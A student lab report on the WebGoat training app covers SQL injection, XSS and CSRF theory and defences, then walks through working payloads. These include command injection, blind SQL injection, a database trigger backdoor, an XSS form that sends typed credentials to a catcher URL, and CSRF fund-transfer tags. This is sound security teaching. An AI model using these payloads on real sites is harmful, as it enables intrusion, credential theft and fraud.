2018-2019-2 20165307《网络对抗技术》Exp9 Web安全基础
实验目的
本实践的目标理解常用网络攻击技术的基本原理。
基础问题回答
(1)SQL注入攻击原理,如何防御
原理:
通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。
防御办法:
可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
(2)XSS攻击的原理,如何防御
原理:
攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
防御办法:
用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码
网页编写者角度:在输入到输出的过程中进行过滤、转义
eg:
①过滤<和>标记,XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换<和>标记。
②HTML属性过滤,一旦用户输入的语句中含有javascript,jscript,vbscript,都用空白代替。
③过滤特殊字符:&、回车和空格。
(3)CSRF攻击原理,如何防御
原理:
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
防御办法:
可以在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
实验内容
WebGoat准备工作
SQL注入攻击
命令注入(Command Injection)
数字型SQL注入(Numeric SQL Injection)
日志欺骗(Log Spoofing)
字符串型注入(String SQL Injection)
LAB: SQL Injection
数据库后门(Database Backdoors)
数字型盲注入(Blind Numeric SQL Injection)
字符串型盲注入(Blind String SQL Injection)
XSS攻击
Phishing with XSS 跨站脚本钓鱼攻击
Stored XSS Attacks 存储型XSS攻击
Reflected XSS Attacks 反射型XSS攻击
CSRF攻击
Cross Site Request Forgery(CSRF)
CSRF Prompt By-Pass
实验步骤
一、WebGoat准备工作
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。
下载jar包:webgoat-container-7.0.1-war-exec.jar
开启WebGoat:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
在看到信息Starting ProtocolHandler ["http-bio-8080"]
这一条消息之后在浏览器中打开WebGoat登录界面:http://localhost:8080/WebGoat
(在界面里我们可以看到给出了两组用户名和密码,可以直接使用登陆)
成功登录后可在左侧看到实践课程
二、SQL注入攻击
1. 命令注入(Command Injection)
- 目标:能够在目标主机上执行任何系统命令
点击Injection Flaws-Command Injection
右键点击复选框,选择inspect Element
审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
点击view
,可查看到命令执行结果
2. 数字型SQL注入(Numeric SQL Injection)
- 目标:显示天气情况
点击Injection Flaws-Numeric SQL Injection
右键点击复选框,选择inspect Element
审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
3. 日志欺骗(Log Spoofing)
- 目标:使用户名为admin的用户在日志中显示成功登录
点击Injection Flaws-Log Spoofing
在User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
,利用回车0D%
和换行符%0A
让其在日志中两行显示
输入密码后点击Login
,可以看到webgoat
在Login Fail
那行显示,我们自己添加的语句在下一行显示
4. 字符串型注入(String SQL Injection)
- 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
点击Injection Flaws-String SQL Injection
输入查询的用户名Smith' or 1=1--
(操作中我们使用了'提前闭合"",插入永真式1=1,且--注释掉后面的内容,这样就能select表里面的所有数据)
5. LAB: SQL Injection
- 使用SQL注入绕过认证。
在密码框输入' or 1=1 --
,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
我们在密码框右键选择inspect Element
审查网页元素对长度进行修改
重新输入' or 1=1 --
,登录成功
6. 数据库后门(Database Backdoors)
- 数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如
insert,select,update or delete
。攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。
输入101
,得到该用户的信息
可以发现,输入的语句没有验证,很容易进行 SQL 注入。
输入注入语句101; update employee set salary=10000
(这里执行了两个语句,中间需要用分号分隔)
设置触发器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
7. 数字型盲注入(Blind Numeric SQL Injection)
- 某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;
使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效:
101 AND 1=1
101 AND 1=2`
第一个语句中,两个条件都成立,所以页面返回Account number is valid
;而第二条则返回帐号无效
现在针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们PIN数值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如果页面提示帐号有效,说明PIN>10000
否则PIN<=10000
不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
在查询框中输入2364
并提交
8. 字符串型盲注入(Blind String SQL Injection)
- 目标:找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
这里我们查询的字段是一个字符串而不是数值,与上一节类似我们同样可以通过注入的方式查找到该字段的值:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
(该语句使用了SUBSTRING 方法,取得pin 字段数值的第一个字母,并判断其是否比字母“H”小。)
经过多次测试(比较0-9A-Za-z
等字符串)和页面的返回数据,判断出第一个字符为J。同理继续判断第二个字符:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
最终,判断出pin
字段的值为Jill
,提交该值。
三、XSS攻击
1.Phishing with XSS跨站脚本钓鱼攻击
- 在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
在XSS-Phishing with XSS
搜索上面代码,可以看到页面中增加了一个表单
现在我们需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息
将上面两段代码合并搜索
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat
会将输入的信息捕获并反馈给我们。
2. Stored XSS Attacks 跨站脚本钓鱼攻击
- 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
在Message
中构造语句<script>alert("20165307 attack succeed!");</script>,Title
任意输入。提交后可发现刚创建的帖子5307。
点击5307,然后会弹出一个对话框,证明XSS攻击成功。
3. Reflected XSS Attacks 反射型XSS攻击
- XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
在Enter your three digit access code:
中输入<script>alert("I am 20165307");</script>
点击Purchase
,成功显示警告框,内容为我们script脚本指定的内容。
四、CSRF攻击
1. Cross Site Request Forgery(CSRF)
- CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
点击XSS-Cross Site Request Forgery(CSRF)
查看页面右下方Parameters
中的src
和menu
值,我的分别为303和900
在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=5000" width="1" height="1"/>
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
输入任意Title
,提交后,在Message List
中生成以Title
命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2. CSRF Prompt By-Pass
点击XSS-CSRF Prompt By-Pass
同上面的攻击,查看页面右下方的Parameters
中的src
和menu
值,我的分别为320和900,并输入任意的Title
,message
框中输入代码
<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
点击Submit
生成以Title
命名的链接,点击链接,攻击成功